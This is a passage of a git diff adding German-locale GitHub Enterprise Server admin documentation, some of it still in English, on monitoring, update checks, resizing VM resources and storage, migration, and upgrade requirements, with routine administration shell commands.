+Simple Network Management Protocol (SNMP) ist eine weithin unterstützte Methode für die Überwachung von Netzwerkgeräten und -servern. SNMP ist standardmäßig deaktiviert, kann jedoch über das {% data variables.product.prodname_enterprise %}-Überwachungs-Dashboard konfiguriert werden. UDP-Port 161 muss offen und über Ihre Network Management Station erreichbar sein. Weitere Informationen findest du unter [Überwachen mit SNMP](/enterprise/admin/guides/installation/monitoring-using-snmp/).
+
+## Informationen zu collectd
+
+collectd ist ein Open-Source-Daemon zur Statistikerfassung und Berichterstellung mit integrierter Unterstützung zum Schreiben in RRD-Dateien. Die Statistiken zur CPU-Auslastung, zur Arbeitsspeicher- und Disk-Nutzung, zum Traffic und zu den Fehlern der Netzwerkschnittstelle sowie zur Systemauslastung können an einen externen collectd-Server weitergeleitet werden, auf dem Diagramme, Analysen und Meldungen mit einer Vielzahl an Tools und Plug-ins konfiguriert werden können. Informationen zum Konfigurieren der `collectd`-Weiterleitung findest du unter [Konfigurieren von collectd](/enterprise/admin/guides/installation/configuring-collectd/).
+
+Zusätzlich werden die in die zugrunde liegenden Virtualisierungsplattformen integrierten Überwachungstools für die grundlegende Überwachung und Alarmierung von Systemressourcen verwendet. Weitere Informationen findest du in der Dokumentation zu [Amazon CloudWatch](http://aws.amazon.com/cloudwatch/) und [VMware vSphere-Überwachung](http://pubs.vmware.com/vsphere-50/topic/com.vmware.ICbase/PDF/vsphere-esxi-vcenter-server-50-monitoring-performance-guide.pdf).
diff --git a/translations/de-DE/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/enabling-automatic-update-checks.md b/translations/de-DE/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/enabling-automatic-update-checks.md
new file mode 100644
index 0000000000..645c354107
--- /dev/null
+++ b/translations/de-DE/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/enabling-automatic-update-checks.md
@@ -0,0 +1,39 @@
+---
+title: Enabling automatic update checks
+intro: 'You can enable automatic update checks so that {% data variables.location.product_location %} checks for and downloads the latest {% data variables.product.prodname_ghe_server %} release.'
+redirect_from:
+  - /enterprise/admin/installation/enabling-automatic-update-checks
+  - /enterprise/admin/enterprise-management/enabling-automatic-update-checks
+  - /admin/enterprise-management/enabling-automatic-update-checks
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Upgrades
+shortTitle: Enable automatic update checks
+---
+When an upgrade package is automatically downloaded for {% data variables.location.product_location %}, you'll receive a message letting you know you can upgrade {% data variables.product.prodname_ghe_server %}. Packages download to the `/var/lib/ghe-updates` directory on {% data variables.location.product_location %}. For more information, see "[Upgrading {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/installation/upgrading-github-enterprise-server)."
+
+If a hotpatch is available for an upgrade, the `.hpkg` will download automatically. In the management console you can choose to install the hotpatch immediately or schedule installation for a later time. For more information, see "[Upgrading with a hotpatch](/enterprise/admin/guides/installation/upgrading-github-enterprise-server#upgrading-with-a-hotpatch)."
+
+{% tip %}
+
+**Tip:** To enable automatic update checks, {% data variables.location.product_location %} must be able to connect to `https://github-enterprise.s3.amazonaws.com`.
+
+{% endtip %}
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.management-console %}
+{% data reusables.enterprise_management_console.updates-tab %}
+4. Click **Yes, automatically check for updates**.
+![Button for enabling automatic updates](/assets/images/enterprise/management-console/enable_updates_button.png)
+{% data reusables.enterprise_management_console.save-settings %}
+
+To see if your instance is up-to-date, check the banner on the Updates tab.
+
+![Banner indicating your release of GitHub Enterprise Server](/assets/images/enterprise/management-console/up-to-date-banner.png)
+
+Under **Logs**, you can see the status of the most recent update check.
+
+![Logs for update](/assets/images/enterprise/management-console/update-log.png)
diff --git a/translations/de-DE/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md b/translations/de-DE/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md
new file mode 100644
index 0000000000..884c2a3d88
--- /dev/null
+++ b/translations/de-DE/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md
@@ -0,0 +1,111 @@
+---
+title: Increasing CPU or memory resources
+intro: 'You can increase the CPU or memory resources for a {% data variables.product.prodname_ghe_server %} instance.'
+redirect_from:
+  - /enterprise/admin/installation/increasing-cpu-or-memory-resources
+  - /enterprise/admin/enterprise-management/increasing-cpu-or-memory-resources
+  - /admin/enterprise-management/increasing-cpu-or-memory-resources
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Infrastructure
+  - Performance
+shortTitle: Increase CPU or memory
+---
+{% data reusables.enterprise_installation.warning-on-upgrading-physical-resources %}
+
+{% note %}
+
+**Note:** Before increasing CPU or memory resources, put your instance in maintenance mode.{% ifversion ip-exception-list %} You can validate changes by configuring an IP exception list to allow access from specified IP addresses. {% endif %} For more information, see "[Enabling and scheduling maintenance mode](/enterprise/admin/guides/installation/enabling-and-scheduling-maintenance-mode)."
+
+{% endnote %}
+
+## Adding CPU or memory resources for AWS
+
+{% note %}
+
+**Note:** To add CPU or memory resources for AWS, you must be familiar with using either the AWS management console or the `aws ec2` command line interface to manage EC2 instances. For background and details on using the AWS tools of your choice to perform the resize, see the AWS documentation on [resizing an Amazon EBS-backed instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-resize.html).
+
+{% endnote %}
+
+### Resizing considerations
+
+Before increasing CPU or memory resources for {% data variables.location.product_location %}, review the following recommendations.
+
+- **Scale your memory with CPUs**. {% data reusables.enterprise_installation.increasing-cpus-req %}
+- **Assign an Elastic IP address to the instance**. If you haven't assigned an Elastic IP to your instance, you'll have to adjust the DNS A records for your {% data variables.product.prodname_ghe_server %} host after the restart to account for the change in public IP address. Once your instance restarts, the instance keeps the Elastic IP if you launched the instance in a virtual private cloud (VPC). If you create the instance in an EC2-Classic network, you must manually reassign the Elastic IP to the instance.
+
+### Supported AWS instance types
+
+You need to determine the instance type you would like to upgrade to based on CPU/memory specifications.
+
+{% data reusables.enterprise_installation.warning-on-scaling %}
+
+{% data reusables.enterprise_installation.aws-instance-recommendation %}
+
+### Resizing for AWS
+
+{% note %}
+
+**Note:** For instances launched in EC2-Classic, write down both the Elastic IP address associated with the instance and the instance's ID. Once you restart the instance, re-associate the Elastic IP address.
+
+{% endnote %}
+
+It's not possible to add CPU or memory resources to an existing AWS/EC2 instance. Instead, you must:
+
+1. Stop the instance.
+2. Change the instance type.
+3. Start the instance.
+{% data reusables.enterprise_installation.configuration-recognized %}
+
+## Adding CPU or memory resources on Microsoft Azure
+
+{% note %}
+
+**Note:** To add CPU or memory resources in Microsoft Azure, you must be familiar with using either the Azure Portal, Azure CLI or Azure PowerShell to manage VM instances. For background and details on using the Azure tools of your choice to perform the resize, please refer to the Azure documentation on [changing the size of a virtual machine](https://docs.microsoft.com/en-us/azure/virtual-machines/resize-vm).
+
+{% endnote %}
+
+### Resizing considerations
+
+Before increasing CPU or memory resources for {% data variables.location.product_location %}, review the following recommendations.
+
+- **Scale your memory with CPUs**. {% data reusables.enterprise_installation.increasing-cpus-req %}
+- **Assign a static IP address to the instance**. If you haven't assigned a static IP to your instance, you might have to adjust the DNS A records for your {% data variables.product.prodname_ghe_server %} host after the restart to account for the change in IP address.
+
+### Supported Microsoft Azure instance sizes
+
+You need to determine the instance size you would like to upgrade to based on CPU/memory specifications.
+
+{% data reusables.enterprise_installation.warning-on-scaling %}
+
+{% data reusables.enterprise_installation.azure-instance-recommendation %}
+
+### Resizing for Microsoft Azure
+
+You can scale the VM up by changing the VM size. Changing its size will cause it to be restarted. In some cases, you must deallocate the VM first. This can happen if the new size is not available on the hardware cluster that is currently hosting the VM. 
+
+1. Refer to the Azure documentation on [changing the size of a virtual machine](https://docs.microsoft.com/en-us/azure/virtual-machines/resize-vm) for the required steps.
+{% data reusables.enterprise_installation.configuration-recognized %}
+
+## Adding CPU or memory resources for OpenStack KVM
+
+It's not possible to add CPU or memory resources to an existing OpenStack KVM instance. Instead, you must:
+
+1. Take a snapshot of the current instance.
+2. Stop the instance.
+3. Select a new instance flavor that has the desired CPU and/or memory resources.
+
+## Adding CPU or memory resources for VMware
+
+{% data reusables.enterprise_installation.increasing-cpus-req %}
+
+1. Use the vSphere Client to connect to the VMware ESXi host.
+2. Shut down {% data variables.location.product_location %}.
+3. Select the virtual machine and click **Edit Settings**.
+4. Under "Hardware", adjust the CPU and/or memory resources allocated to the virtual machine as needed:
+![VMware setup resources](/assets/images/enterprise/vmware/vsphere-hardware-tab.png)
+5. To start the virtual machine, click **OK**.
+{% data reusables.enterprise_installation.configuration-recognized %}
diff --git a/translations/de-DE/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-storage-capacity.md b/translations/de-DE/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-storage-capacity.md
new file mode 100644
index 0000000000..e55e7cb44d
--- /dev/null
+++ b/translations/de-DE/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-storage-capacity.md
@@ -0,0 +1,93 @@
+---
+title: Increasing storage capacity
+intro: 'You can increase or change the amount of storage available for Git repositories, databases, search indexes, and other persistent application data.'
+redirect_from:
+  - /enterprise/admin/installation/increasing-storage-capacity
+  - /enterprise/admin/enterprise-management/increasing-storage-capacity
+  - /admin/enterprise-management/increasing-storage-capacity
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Infrastructure
+  - Performance
+  - Storage
+shortTitle: Increase storage capacity
+---
+{% data reusables.enterprise_installation.warning-on-upgrading-physical-resources %}
+
+As more users join {% data variables.location.product_location %}, you may need to resize your storage volume. Refer to the documentation for your virtualization platform for information on resizing storage.
+
+## Requirements and recommendations
+
+{% note %}
+
+**Note:** Before resizing any storage volume, put your instance in maintenance mode.{% ifversion ip-exception-list %} You can validate changes by configuring an IP exception list to allow access from specified IP addresses. {% endif %} For more information, see "[Enabling and scheduling maintenance mode](/enterprise/admin/guides/installation/enabling-and-scheduling-maintenance-mode)."
+
+{% endnote %}
+
+### Minimum requirements
+
+{% data reusables.enterprise_installation.hardware-rec-table %}
+
+## Increasing the data partition size
+
+1. Resize the existing user volume disk using your virtualization platform's tools.
+{% data reusables.enterprise_installation.ssh-into-instance %}
+3. Put the appliance in maintenance mode. For more information, see "[Enabling and scheduling maintenance mode](/enterprise/admin/guides/installation/enabling-and-scheduling-maintenance-mode)."
+4. Reboot the appliance to detect the new storage allocation:
+  ```shell
+  $ sudo reboot
+  ```
+5. Run the `ghe-storage-extend` command to expand the `/data/user` filesystem:
+  ```shell
+  $ ghe-storage-extend
+  ```
+
+## Increasing the root partition size using a new appliance
+
+1. Set up a new {% data variables.product.prodname_ghe_server %} instance with a larger root disk using the same version as your current appliance. For more information, see "[Setting up a {% data variables.product.prodname_ghe_server %} instance](/enterprise/admin/guides/installation/setting-up-a-github-enterprise-server-instance)."
+2. Shut down the current appliance:
+  ```shell
+  $ sudo poweroff
+  ```
+3. Detach the data disk from the current appliance using your virtualization platform's tools.
+4. Attach the data disk to the new appliance with the larger root disk.
+
+## Increasing the root partition size using an existing appliance
+
+{% warning %}
+
+**Warning:** Before increasing the root partition size, you must put your instance in maintenance mode. For more information, see "[Enabling and scheduling maintenance mode](/enterprise/admin/guides/installation/enabling-and-scheduling-maintenance-mode)."
+
+{% endwarning %}
+
+1. Attach a new disk to your {% data variables.product.prodname_ghe_server %} appliance.
+1. Run the `lsblk` command to identify the new disk's device name.
+1. Run the `parted` command to format the disk, substituting your device name for `/dev/xvdg`:
+  ```shell
+  $ sudo parted /dev/xvdg mklabel msdos
+  $ sudo parted /dev/xvdg mkpart primary ext4 0% 50%
+  $ sudo parted /dev/xvdg mkpart primary ext4 50% 100%
+  ```
+1. To stop replication, run the `ghe-repl-stop` command.
+
+   ```shell
+   $ ghe-repl-stop
+   ```
+   
+1. Run the `ghe-upgrade` command to install a full, platform specific package to the newly partitioned disk. A universal hotpatch upgrade package, such as `github-enterprise-2.11.9.hpkg`, will not work as expected. After the `ghe-upgrade` command completes, application services will automatically terminate.
+
+  ```shell
+  $ ghe-upgrade PACKAGE-NAME.pkg -s -t /dev/xvdg1
+  ```
+1. Shut down the appliance:
+  ```shell
+  $ sudo poweroff
+  ```
+1. In the hypervisor, remove the old root disk and attach the new root disk at the same location as the old root disk.
+1. Start the appliance.
+1. Ensure system services are functioning correctly, then release maintenance mode. For more information, see "[Enabling and scheduling maintenance mode](/admin/guides/installation/enabling-and-scheduling-maintenance-mode)."
+
+If your appliance is configured for high-availability or geo-replication, remember to start replication on each replica node using `ghe-repl-start` after the storage on all nodes has been upgraded.
diff --git a/translations/de-DE/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/index.md b/translations/de-DE/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/index.md
new file mode 100644
index 0000000000..36f4ea6cb2
--- /dev/null
+++ b/translations/de-DE/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/index.md
@@ -0,0 +1,28 @@
+---
+title: Virtuelle Maschine und physische Ressourcen aktualisieren
+intro: 'Du solltest dein Upgrade im Voraus planen, da für das Upgrade der virtuellen Software und virtuellen Hardware eine gewisse Ausfallzeit deiner Instanz erforderlich ist.'
+redirect_from:
+  - /enterprise/admin/guides/installation/upgrading-the-vm
+  - /enterprise/admin/guides/installation/upgrading-physical-resources
+  - /enterprise/admin/installation/updating-the-virtual-machine-and-physical-resources
+  - /enterprise/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources
+versions:
+  ghes: '*'
+topics:
+  - Enterprise
+children:
+  - /upgrade-requirements
+  - /upgrading-github-enterprise-server
+  - /enabling-automatic-update-checks
+  - /increasing-storage-capacity
+  - /increasing-cpu-or-memory-resources
+  - /migrating-from-github-enterprise-1110x-to-2123
+shortTitle: Update VM & resources
+ms.openlocfilehash: c88f08eea01e187c22dfd1e423c93965fbdc2709
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147066314'
+---
+
diff --git a/translations/de-DE/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/migrating-from-github-enterprise-1110x-to-2123.md b/translations/de-DE/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/migrating-from-github-enterprise-1110x-to-2123.md
new file mode 100644
index 0000000000..c3f27c7b37
--- /dev/null
+++ b/translations/de-DE/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/migrating-from-github-enterprise-1110x-to-2123.md
@@ -0,0 +1,108 @@
+---
+title: GitHub Enterprise von 11.10.x zu 2.1.23 migrieren
+redirect_from:
+  - /enterprise/admin/installation/migrating-from-github-enterprise-1110x-to-2123
+  - /enterprise/admin-guide/migrating
+  - /enterprise/admin/articles/migrating-github-enterprise
+  - /enterprise/admin/guides/installation/migrating-from-github-enterprise-v11-10-34x
+  - /enterprise/admin/articles/upgrading-to-a-newer-release
+  - /enterprise/admin/guides/installation/migrating-to-a-different-platform-or-from-github-enterprise-11-10-34x
+  - /enterprise/admin/guides/installation/migrating-from-github-enterprise-11-10-x-to-2-1-23
+  - /enterprise/admin/enterprise-management/migrating-from-github-enterprise-1110x-to-2123
+  - /admin/enterprise-management/migrating-from-github-enterprise-1110x-to-2123
+intro: 'Um {% data variables.product.prodname_enterprise %} von 11.10.x zu 2.1.23 zu migrieren, musst du eine neue Appliance-Instanz einrichten und Daten aus der vorherigen Instanz migrieren.'
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Migration
+  - Upgrades
+shortTitle: Migrate from 11.10.x to 2.1.23
+ms.openlocfilehash: 4dcd93b41d8edc75388d34785c4c149d6627cc5e
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '146332600'
+---
+Migrationen von {% data variables.product.prodname_enterprise %} 11.10.348 und höher werden unterstützt. Migrationen von {% data variables.product.prodname_enterprise %} 11.10.348 und früher werden nicht unterstützt. Zu musst zunächst in mehreren Schritten ein Upgrade auf die Version 11.10.348 durchführen. Weitere Informationen findest du im Upgradeverfahren 11.10.348 [Durchführen eines Upgrades auf das neueste Release](/enterprise/11.10.340/admin/articles/upgrading-to-the-latest-release/).
+
+Um ein Upgrade auf die neueste Version von {% data variables.product.prodname_enterprise %} durchzuführen, musst du zunächst ein Upgrade auf {% data variables.product.prodname_ghe_server %} 2.1 vornehmen. Anschließend kannst du dem normalen Upgradeprozess folgen. Weitere Informationen findest du unter [Durchführen eines Upgrades für {% data variables.product.prodname_enterprise %}](/enterprise/admin/guides/installation/upgrading-github-enterprise-server/).
+
+## Vorbereitungen für die Migration
+
+1. Konsultiere den Leitfaden „Bereitstellen und Installieren“, und überprüfe, ob alle Voraussetzungen erfüllt sind, um {% data variables.product.prodname_enterprise %} 2.1.23 in deiner Umgebung bereitzustellen und zu konfigurieren. Weitere Informationen findest du unter [Bereitstellen und Installieren](/enterprise/2.1/admin/guides/installation/provisioning-and-installation/).
+2. Überprüfe, dass die aktuelle Instanz eine unterstützte Upgradeversion ausführt.
+3. Richte die neueste Version von {% data variables.product.prodname_enterprise_backup_utilities %} ein. Weitere Informationen findest du unter [{% data variables.product.prodname_enterprise_backup_utilities %}](https://github.com/github/backup-utils).
+    - Wenn du geplante Backups bereits mit {% data variables.product.prodname_enterprise_backup_utilities %} konfiguriert hast, solltest du sicherstellen, dass du die neueste Version verwendest.
+    - Wenn du aktuell keine geplanten Backups ausführst, richte {% data variables.product.prodname_enterprise_backup_utilities %} ein.
+4. Führe den Befehl `ghe-backup` aus, um eine erste vollständige Sicherungsmomentaufnahme der aktuellen Instanz zu erstellen. Falls du bereits geplante Backups für deine aktuelle Instanz konfiguriert hast, musst du keine Momentaufnahme deiner Instanz erstellen.
+
+   {% tip %}
+
+   **Tipp:** Während der Erstellung der Momentaufnahme kann die Instanz weiterhin online und aktiv sein. Während der Wartung der Migration erstellst du eine weitere Momentaufnahme. Da Backups inkrementell sind, reduziert der anfängliche Snapshot die im finalen Snapshot übertragenen Daten, was wiederum das Wartungsfenster kürzt.
+
+   {% endtip %}
+
+5. Bestimme die Methode zum Umleiten des Benutzernetzwerk-Datenverkehrs auf die neue Instanz. Nach der Migration wird der gesamte HTTP- und Git-Netzwerk-Traffic an die neue Instanz geleitet.
+    - **DNS**: Du solltest diese Methode für alle Umgebungen verwenden, da sie unkompliziert und selbst dann ordnungsgemäß funktioniert, wenn eine Migration zwischen Rechenzentren vorgenommen wird. Reduziere vor dem Starten der Migration den TTL-Wert des vorhandenen DNS-Eintrags auf maximal fünf Minuten, und lege fest, dass die Änderung auf andere Instanzen angewendet werden kann. Aktualisiere nach Abschluss der Migration den DNS-Eintrag bzw. die DNS-Einträge so, dass er bzw. sie auf die IP-Adresse der neuen Instanz verweisen.
+    - **IP-Adressenzuweisung**: Diese Methode steht nur für die VMware-zu-VMware-Migration zur Verfügung und wird nicht empfohlen, es sei denn, die DNS-Methode ist nicht verfügbar. Vor dem Starten der Migration musst du die alte Instanz herunterfahren und ihre IP-Adresse der neuen Instanz zuweisen.
+6. Plane ein Wartungsfenster. Das Wartungsfenster sollte lang genug sein, um Daten vom Backup-Host auf die neue Instanz zu übertragen. Es variiert entsprechend der Größe des Backup-Snapshots und der verfügbaren Netzwerkbandbreite. In diesem Zeitraum ist deine aktuelle Instanz nicht verfügbar und im Wartungsmodus, während du zur neuen Instanz migrierst.
+
+## Durchführen der Migration
+
+1. Stelle eine neue {% data variables.product.prodname_enterprise %} 2.1-Instanz bereit. Weitere Informationen findest du im Leitfaden [Bereitstellen und Installieren](/enterprise/2.1/admin/guides/installation/provisioning-and-installation/) für deine Zielplattform.
+2. Navigiere in einem Browser zur IP-Adresse der neuen Replikatappliance, und lade deine {% data variables.product.prodname_enterprise %}-Lizenz hoch.
+3. Lege ein Administratorkennwort fest.
+5. Klicke auf **Migrieren**.
+![Auswählen des Installationstyps](/assets/images/enterprise/migration/migration-choose-install-type.png)
+6. Füge deinen SSH-Zugriffsschlüssel für den Sicherungshost in „Neuen SSH-Schlüssel hinzufügen“ ein.
+![Autorisieren einer Sicherungskopie](/assets/images/enterprise/migration/migration-authorize-backup-host.png)
+7. Klicke auf **Schlüssel hinzufügen** und anschließend auf **Weiter**.
+8. Kopiere den Befehl `ghe-restore`, den du auf dem Sicherungshost ausführst, um Daten zur neuen Instanz zu migrieren.
+![Starten einer Migration](/assets/images/enterprise/migration/migration-restore-start.png)
+9. Aktiviere den Wartungsmodus auf der alten Instanz, und warte auf den Abschluss sämtlicher aktiver Prozesse. Weitere Informationen findest du unter „[Aktivieren und Planen des Wartungsmodus](/enterprise/admin/guides/installation/enabling-and-scheduling-maintenance-mode)“.
+
+  {% note %}
+
+  **Hinweis:** Ab diesem Zeitpunkt steht die Instanz nicht mehr zur normalen Verwendung zur Verfügung.
+
+  {% endnote %}
+
+10. Führe auf dem Sicherungshost den Befehl `ghe-backup` aus, um eine finale Sicherungsmomentaufnahme zu erstellen. Dadurch wird sichergestellt, dass alle Daten von der alten Instanz erfasst werden.
+11. Führe auf dem Sicherungshost den Befehl `ghe-restore` aus, den du auf den Bildschirm mit dem Wiederherstellungsstatus der neuen Instanz kopiert hast, um die neueste Momentaufnahme wiederherzustellen.
+  ```shell
+  $ ghe-restore 169.254.1.1
+  The authenticity of host '169.254.1.1:122' can't be established.
+  RSA key fingerprint is fe:96:9e:ac:d0:22:7c:cf:22:68:f2:c3:c9:81:53:d1.
+  Are you sure you want to continue connecting (yes/no)? yes
+  Connect 169.254.1.1:122 OK (v2.0.0)
+  Starting restore of 169.254.1.1:122 from snapshot 20141014T141425
+  Restoring Git repositories ...
+  Restoring GitHub Pages ...
+  Restoring asset attachments ...
+  Restoring hook deliveries ...
+  Restoring MySQL database ...
+  Restoring Redis database ...
+  Restoring SSH authorized keys ...
+  Restoring Elasticsearch indices ...
+  Restoring SSH host keys ...
+  Completed restore of 169.254.1.1:122 from snapshot 20141014T141425
+  Visit https://169.254.1.1/setup/settings to review appliance configuration.
+  ```
+
+12. Kehre zum Bildschirm mit dem Wiederherstellungsstatus der neuen Instanz zurück, um zu sehen, dass die Wiederherstellung abgeschlossen ist.
+![Bildschirm zur abgeschlossenen Wiederherstellung](/assets/images/enterprise/migration/migration-status-complete.png)
+13. Klicke auf **Weiter zu Einstellungen**, um die von der vorherigen Instanz importierten Konfigurationsinformationen und -einstellungen zu überprüfen und anzupassen.
+![Überprüfen von importierten Einstellungen](/assets/images/enterprise/migration/migration-status-complete.png)
+14. Klicke auf **Einstellungen speichern**.
+
+  {% note %}
+
+  **Hinweis:** Du kannst die neue Instanz verwenden, nachdem du die Konfigurationseinstellungen angewendet und den Server neu gestartet hast.
+
+  {% endnote %}
+
+15. Leite mittels DNS oder IP-Adressenzuweisung den Benutzernetzwerk-Datenverkehr von der alten Instanz zur neuen Instanz.
+16. Führe ein Upgrade auf das neueste Patchrelease von {% data variables.product.prodname_ghe_server %} durch. Weitere Informationen findest du unter [Upgrade für {% data variables.product.prodname_ghe_server %} durchführen](/enterprise/admin/guides/installation/upgrading-github-enterprise-server/).
diff --git a/translations/de-DE/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md b/translations/de-DE/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md
new file mode 100644
index 0000000000..452d222c7a
--- /dev/null
+++ b/translations/de-DE/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md
@@ -0,0 +1,58 @@
+---
+title: Upgrade-Anforderungen
+intro: 'Lese vor dem Upgrade von {% data variables.product.prodname_ghe_server %} diese Empfehlungen und Anforderungen, um deine Upgradestrategie zu planen.'
+redirect_from:
+  - /enterprise/admin/installation/upgrade-requirements
+  - /enterprise/admin/guides/installation/finding-the-current-github-enterprise-release
+  - /enterprise/admin/enterprise-management/upgrade-requirements
+  - /admin/enterprise-management/upgrade-requirements
+  - /enterprise/admin/guides/installation/about-upgrade-requirements
+versions:
+  ghes: '*'
+type: reference
+topics:
+  - Enterprise
+  - Upgrades
+ms.openlocfilehash: 23ac63dd30c11f4c29cd17313a583579d2e2cea1
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148106877'
+---
+{% note %}
+
+**Hinweise:**
+- Upgradepakete für unterstützte Versionen sind unter [enterprise.github.com](https://enterprise.github.com/releases) verfügbar. Verifiziere die Verfügbarkeit der Upgrade-Pakete, die du zum Abschließen des Upgrades benötigst. Wende dich an {% data variables.contact.contact_ent_support %}, falls ein Paket nicht verfügbar ist.
+- Wenn du {% data variables.product.prodname_ghe_server %}-Clustering verwendest, lies [Upgraden eines Clusters](/enterprise/admin/guides/clustering/upgrading-a-cluster/) im {% data variables.product.prodname_ghe_server %}-Clusteringleitfaden für clusteringspezifische Anweisungen.
+- Die Versionshinweise für {% data variables.product.prodname_ghe_server %} enthalten eine umfassende Liste der neuen Features jeder Version von {% data variables.product.prodname_ghe_server %}. Weitere Informationen findest du auf der [Releaseübersichtsseite](https://enterprise.github.com/releases).
+
+{% endnote %}
+
+## Empfehlungen
+
+- Du solltest möglichst wenig Upgrades in deinen Upgrade-Prozess einbeziehen. Anstatt ein Upgrade von {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} auf {{ enterpriseServerReleases.supported[1] }} und auf {{ enterpriseServerReleases.latest }} durchzuführen, könntest du ein Upgrade von {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} auf {{ enterpriseServerReleases.latest }} durchführen. Verwende den [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade), um den Upgradepfad aus deinem aktuellen Release zu finden.
+- Wenn du mehrere Versionen im Rückstand bist, aktualisiere {% data variables.location.product_location %} in jedem Schritt deines Upgradeprozesses so weit wie möglich. Wenn du nach Möglichkeit die neueste Version für jedes Upgrade verwendest, kannst du von Leistungsverbesserungen und Bug-Korrekturen profitieren. So kannst du beispielsweise ein Upgrade von {% data variables.product.prodname_enterprise %} 2.7 auf 2.8 auf 2.10 vornehmen. Beim Upgrade von {% data variables.product.prodname_enterprise %} 2.7 auf 2.9 auf 2.10 wird im zweiten Schritt jedoch eine neuere Version verwendet.
+- Verwende beim Upgraden die neueste Patch-Veröffentlichung. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %}
+- Verwende eine Testinstanz zum Testen der Upgrade-Schritte. Weitere Informationen findest du unter [Einrichten einer Staginginstanz](/enterprise/admin/guides/installation/setting-up-a-staging-instance/).
+- Warte beim Durchführen mehrerer Upgrades mindestens 24 Stunden zwischen den Feature-Upgrades, damit im Hintergrund laufende Datenmigrationen und Upgrade-Aufgaben vollständig abgeschlossen werden.
+- Erstelle vor dem Upgrade deines virtuellen Computers eine Momentaufnahme. Weitere Informationen findest du unter [Eine Momentaufnahme erstellen](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server#taking-a-snapshot). 
+- Stelle sicher, dass du über eine aktuelle, erfolgreiche Sicherung deiner Instanz verfügst. Weitere Informationen findest du in der [„README.md“-Datei {% data variables.product.prodname_enterprise_backup_utilities %}](https://github.com/github/backup-utils#readme).
+
+## Anforderungen
+
+- Du musst ein Upgrade aus einem Featurerelease durchführen, das **mindestens** zwei Releases zurückliegt. Um beispielsweise ein Upgrade auf {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.latest }} durchzuführen, musst du über {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[1] }} oder {{ enterpriseServerReleases.supported[2] }} verfügen.
+- Wenn du mithilfe eines Upgradepakets ein Upgrade durchführst, solltest du ein Wartungsfenster für {% data variables.product.prodname_ghe_server %}-Endbenutzer*innen einplanen.
+- {% data reusables.enterprise_installation.hotpatching-explanation %}
+- Ein Hotpatch kann Ausfallzeiten nach sich ziehen, falls für die betroffenen Dienste (z. B. der Kernel, MySQL oder ElasticSearch) ein VM- oder Dienstneustart erforderlich ist. Du wirst benachrichtigt, falls ein Neustart erforderlich ist. Du kannst den Neustart zu einem späteren Zeitpunkt abschließen.
+- Beim Upgrade mittels Hotpatching muss zusätzlicher Root-Storage verfügbar sein, da bis zum Abschluss des Upgrades mehrere Versionen bestimmter Dienste installiert werden. Bei Preflightüberprüfungen werden Benachrichtigungen gesendet, falls nicht genügend Stammdatenträgerspeicher verfügbar ist.
+- Beim Upgrade mittels Hotpatching darf deine Instanz keine zu große Auslastung aufweisen, da sich dies gegebenenfalls auf den Hotpatchingprozess auswirkt.
+- Beim Upgrade auf {% data variables.product.prodname_ghe_server %} 2.17 werden deine Auditprotokolle von Elasticsearch zu MySQL migriert. Diese Migration erhöht die erforderliche Dauer und den Speicherplatz, die bzw. der zum Wiederherstellen eines Snapshots erforderlich ist. Überprüfe vor der Migration die Anzahl an Bytes in deinen ElasticSearch-Auditprotokollindizes. Führe dazu den folgenden Befehl aus:
+``` shell
+curl -s http://localhost:9201/audit_log/_stats/store | jq ._all.primaries.store.size_in_bytes
+```
+Anhand der Zahl kannst du schätzen, wie viel Speicherplatz die MySQL-Auditprotokolle benötigen werden. Darüber hinaus überwacht das Skript den freien Speicherplatz, während der Import ausgeführt wird. Die Überwachung dieser Zahl ist besonders nützlich, wenn der freie Speicherplatz dem für die Migration erforderlichen Speicherplatz nahekommt.
+
+## Nächste Schritte
+
